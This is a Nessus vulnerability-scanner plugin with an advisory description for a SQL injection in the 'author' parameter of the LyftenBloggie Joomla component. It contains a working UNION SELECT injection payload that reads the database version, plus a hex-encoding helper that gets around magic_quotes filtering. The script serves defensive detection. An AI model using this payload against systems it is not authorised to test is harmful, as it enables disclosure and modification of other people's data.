LyftenBloggie Component for Joomla! 'author' Parameter SQLi

2009-12-07T00:00:00
ID LYFTENBLOGGIE_AUTHOR_SQL_INJECTION.NASL
Type nessus
Reporter Tenable
Modified 2018-06-13T00:00:00

Description

The version of the LyftenBloggie component for Joomla! running on the remote host is affected by a SQL injection vulnerability due to improper sanitization of user-supplied input to the 'author' parameter before using it to construct database queries. Regardless of the PHP 'magic_quotes_gpc' setting, an unauthenticated, remote attacker can exploit this issue to manipulate database queries, resulting in disclosure of sensitive information, modification of data, or other attacks against the underlying database.

                                        
                                            #
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(43028);
  script_version("1.14");
  script_cvs_date("Date: 2018/06/13 18:56:27");

  script_cve_id("CVE-2009-4104");
  script_bugtraq_id(37140);
  script_xref(name:"Secunia", value:"37499");
  script_xref(name:"EDB-ID", value:"10238");

  script_name(english:"LyftenBloggie Component for Joomla! 'author' Parameter SQLi");
  script_summary(english:"Attempts to manipulate an author's list of entries.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is affected by a
SQL injection vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of the LyftenBloggie component for Joomla! running on the
remote host is affected by a SQL injection vulnerability due to
improper sanitization of user-supplied input to the 'author' parameter
before using it to construct database queries. Regardless of the PHP
'magic_quotes_gpc' setting, an unauthenticated, remote attacker can
exploit this issue to manipulate database queries, resulting in
disclosure of sensitive information, modification of data, or other
attacks against the underlying database.");
  # https://web.archive.org/web/20100302074314/http://www.lyften.com/support/forums/lyften-bloggie/joomla-lyftenbloggie-component-author-sql-injection-vulnerability.html
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?f50cd901");
  script_set_attribute(attribute:"see_also", value:"http://jeffchannell.com/Joomla/lyften-bloggie-sql-injection-fix.html");
  script_set_attribute(attribute:"solution", value:
"Apply the third-party patch as referenced in the advisory or refer to
the vendor for an official patch.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:U/RC:ND");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:U/RC:X");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_cwe_id(89);

  script_set_attribute(attribute:"vuln_publication_date", value:"2009/11/28");
  script_set_attribute(attribute:"patch_publication_date", value:"2009/11/29");
  script_set_attribute(attribute:"plugin_publication_date", value:"2009/12/07");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:joomla:joomla\!");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2009-2018 Tenable Network Security, Inc.");

  script_dependencies("joomla_detect.nasl");
  script_require_ports("Services/www", 80);
  script_require_keys("installed_sw/Joomla!", "www/PHP");

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");

app = "Joomla!";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:80, php:TRUE);

install = get_single_install(
  app_name : app,
  port     : port
);
dir = install['path'];
install_url =  build_url(port:port, qs:dir);

# Verify component is installed
plugin = "LyftenBloggie";

# Check KB first
installed = get_kb_item("www/"+port+"/webapp_ext/"+plugin+" under "+dir);

if (!installed)
{
  checks = make_array();
  regexes = make_list();
  regexes[0] = make_list('subpackage LyftenBloggie');
  checks["/components/com_lyftenbloggie/languages/site/en-GB.com_lyftenbloggie.ini"] = regexes;

  # Ensure plugin is installed
  installed = check_webapp_ext(
    checks : checks,
    dir    : dir,
    port   : port,
    ext    : plugin
  );

}
if (!installed) audit(AUDIT_WEB_APP_EXT_NOT_INST, app, install_url, plugin + " component");

# This function converts a string to a concatenation of hex chars so we
# can pass in strings without worrying about PHP's magic_quotes_gpc.
function hexify(str)
{
  local_var hstr, i, l;

  l = strlen(str);
  if (l == 0) return "";

  hstr = "concat(";
  for (i=0; i<l; i++)
    hstr += hex(ord(str[i])) + ",";
  hstr[strlen(hstr)-1] = ")";

  return hstr;
}

# Make sure the component is installed and find an existing user with a blog.
url = "/index.php?option=com_lyftenbloggie&category=bloggies";

res = http_send_recv3(port:port, method:"GET", item:dir+url, exit_on_fail:TRUE);

# Identify a user's blog.
author = NULL;

pat = "(option=com_lyftenbloggie&author=|/component/lyftenbloggie/authors/)([0-9]+)";
matches = egrep(pattern:pat, string:res[2]);
if (matches)
{
  foreach match (split(matches, keep:FALSE))
  {
    item = eregmatch(pattern:pat, string:match);
    if (!isnull(item))
    {
      author = item[2];
      break;
    }
  }
}
if (isnull(author)) exit(0, "Can't find a user with a blog in the Joomla install at "+install_url+".");

test_script = SCRIPT_NAME - ".nasl";

# Try to exploit the issue to manipulate the author's list of entries.
exploit = author + " UNION SELECT 1," + hexify(str:test_script) + ",3,4,@@version,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30  ORDER BY created ASC LIMIT 0,1 -- ";

url = "/index.php?option=com_lyftenbloggie&author=" + str_replace(find:" ", replace:"%20", string:exploit);

res = http_send_recv3(port:port, method:"GET", item:dir+url, exit_on_fail:TRUE);

# There's a problem if we can influence the list of entries.
if (' title="' + test_script + '">' + test_script >< res[2])
{
  output = strstr(res[2], ' title="'+test_script);
  if (empty_or_null(output)) output = res[2];

  security_report_v4(
    port       : port,
    severity   : SECURITY_HOLE,
    generic    : TRUE,
    sqli       : TRUE,  # Sets SQLInjection KB key
    request    : make_list(install_url +url),
    output     : chomp(output)
  );
  exit(0);
}
else audit(AUDIT_WEB_APP_EXT_NOT_AFFECTED, app, install_url, plugin + " component");